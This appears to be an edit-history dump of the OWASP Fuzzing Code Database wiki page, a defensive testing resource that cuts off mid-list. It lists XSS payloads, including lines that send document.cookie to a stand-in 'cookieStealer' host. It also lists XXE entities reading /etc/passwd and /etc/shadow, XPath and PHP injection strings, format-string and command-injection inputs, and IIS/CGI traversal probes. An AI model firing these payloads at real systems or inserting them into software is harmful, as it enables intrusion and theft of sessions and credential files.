HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt;<br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: 30 July 2007 - Total Statements: 28) ===<br /> &lt;pre&gt;<br /> # Full List<br /> # Format String tests to determine errors in variable handling<br /> # Foobar@email.de<br /> <br /> %s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] [[:User:Adam.muntner|'''Adam Muntner''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80292 2010-03-22T12:48:12Z

<p>Adam.muntner: /* Microsoft URLs (18 March 2010) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''17 March 2010'''<br /> <br /> *Created new Category: Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563)<br /> *Created new Category: Windows Directory Traversal (Update: 17 March 2010 - Total Statements: 16)<br /> *Created new Category: Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879)<br /> *Created new Category: Common Windows CGI (Update: 17 March 2010 - Total Statements: 76)<br /> *Created new Category: File Upload Filter Bypass (Update: 17 March 2010 - Total Statements: 4)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7)<br /> *Created new Category: Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14)<br /> *Created new Category: Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9)<br /> <br /> '''16 March 2010'''<br /> <br /> *Created new Category: Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863)<br /> *Created new Category: Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) <br /> *Created new Category: Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> *Created new Category: All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2010 - Total Statements: 31)<br /> <br /> <br /> '''02 February 2010'''<br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Microsoft URLs (18 March 2010) ===<br /> &lt;pre&gt;# Interesting IIS Files &amp; Directories (17 March, 2009)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> # Look at the result codes in the headers - 403 likely mean the dir exists, 404 means not. It takes an ISAPI filter for IIS to return 404's for 403s. <br /> # Altetrnatively, slight differences in the number of bytes returned will help differentiate.<br /> <br /> .printer<br /> /%NETHOOD%/<br /> /&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> /Exadmin/<br /> /ExchWeb/<br /> /Exchange/<br /> /Microsoft-Server-ActiveSync/<br /> /OMA/<br /> /OWA/<br /> /Public/<br /> /_layouts/alllibs.htm<br /> /_layouts/settings.htm<br /> /_layouts/userinfo.htm<br /> /_vti_bin/<br /> /_vti_bin/_vti_aut/fp30reg.dll<br /> /_vti_pvt/<br /> /_WEB_INF/<br /> /a%5c.aspx<br /> /adovbs.inc<br /> /aspnet_files/<br /> /certcontrol/<br /> /certenroll/<br /> /certsrv/<br /> /exchange/root.asp<br /> /forum.asp<br /> /forum_arc.asp<br /> /forum_professionnel.asp<br /> /iisadmin/<br /> /iishelp/<br /> /iishelp/iis/misc/default.asp<br /> /iissamples/<br /> /imprimer.asp<br /> /includes/adovbs.inc<br /> /msadc/<br /> /null.htw<br /> /pbserver/pbserver.dll<br /> /postinfo.html<br /> /rubrique.asp<br /> /scripts/<br /> /share/<br /> /tsweb/<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.asp<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> index.shtml<br /> x.htw<br /> x.ida<br /> x.idq<br /> /citrix/<br /> /citrix/AccessPlatform/auth/<br /> /citrix/AccessPlatform/auth/clientscripts/<br /> /AccessPlatform/auth/clientscripts/<br /> /AccessPlatform/<br /> /AccessPlatform/auth/<br /> /AccessPlatform/auth/clientscripts/cookies.js <br /> /AccessPlatform/auth/clientscripts/login.js <br /> /Citrix//AccessPlatform/auth/clientscripts/cookies.js <br /> /Citrix/AccessPlatform/auth/clientscripts/login.js <br /> /Citrix/PNAgent/config.xml<br /> &lt;/pre&gt;<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> 